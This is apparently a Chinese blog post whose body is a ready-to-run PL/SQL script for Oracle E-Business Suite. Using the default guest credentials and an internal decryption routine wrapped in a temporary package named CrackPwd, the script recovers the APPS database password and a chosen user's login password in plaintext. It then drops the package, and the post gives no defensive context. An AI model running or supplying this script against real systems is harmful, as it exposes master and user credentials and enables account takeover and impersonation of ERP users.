EBS查询用户密码

EBS查询用户密码:

DECLARE
X_USERNAME VARCHAR2(30) := ‘ZHOUBO’;–ERP用户名
X_APPSPASSWORD VARCHAR2(30);
X_GUESTUSERPWD VARCHAR2(30) := UPPER(FND_PROFILE.VALUE(‘GUEST_USER_PWD’)); --‘GUEST/ORACLE’,Can any user password
X_USERPWD VARCHAR2(30);
X_DELIM VARCHAR2(30);
X_GUESTUSERNAME VARCHAR2(30);
X_GUESTENCFNDPWD VARCHAR2(240);
X_SQL VARCHAR2(2000);
BEGIN
IF X_GUESTUSERPWD IS NULL THEN
X_GUESTUSERPWD := ‘GUEST/ORACLE’;
END IF;
X_DELIM := INSTR(X_GUESTUSERPWD, ‘/’);
X_GUESTUSERNAME := UPPER(SUBSTR(X_GUESTUSERPWD, 1, X_DELIM - 1));

X_SQL := ‘SELECT encrypted_foundation_password
FROM fnd_user_view
WHERE user_name = :1
AND (start_date <= SYSDATE)
AND (end_date IS NULL OR end_date > SYSDATE)’;

EXECUTE IMMEDIATE X_SQL
INTO X_GUESTENCFNDPWD
USING X_GUESTUSERNAME;

X_SQL := 'CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS ’ ||
'FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2; ’ ||
‘END CrackPwd;’;
EXECUTE IMMEDIATE X_SQL;
X_SQL := 'CREATE OR REPLACE PACKAGE BODY CrackPwd AS ’ ||
'FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS ’ ||
'LANGUAGE JAVA NAME ‘‘oracle.apps.fnd.security.WebSessionManagerProc.decrypt’ ||
‘(java.lang.String,java.lang.String) return java.lang.String’’; ’ ||
‘END CrackPwd;’;
EXECUTE IMMEDIATE X_SQL;

X_SQL := 'SELECT crackpwd.getpwd(:1, :2) ’ || ‘FROM DUAL’;
EXECUTE IMMEDIATE X_SQL
INTO X_APPSPASSWORD
USING X_GUESTUSERPWD, X_GUESTENCFNDPWD;

X_SQL := 'SELECT crackpwd.getpwd(:1, encrypted_user_password) pwd ’ ||
‘FROM fnd_user WHERE user_name = :2’;
BEGIN
EXECUTE IMMEDIATE X_SQL
INTO X_USERPWD
USING X_APPSPASSWORD, X_USERNAME;
EXCEPTION
WHEN OTHERS THEN
NULL;
END;
DBMS_OUTPUT.PUT_LINE(‘apps:[’ || X_APPSPASSWORD || ‘]’);
DBMS_OUTPUT.PUT_LINE(X_USERNAME);
DBMS_OUTPUT.PUT_LINE(X_USERPWD);
X_SQL := ‘drop package CrackPwd’;
EXECUTE IMMEDIATE X_SQL;
EXCEPTION
WHEN OTHERS THEN
NULL;
END;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值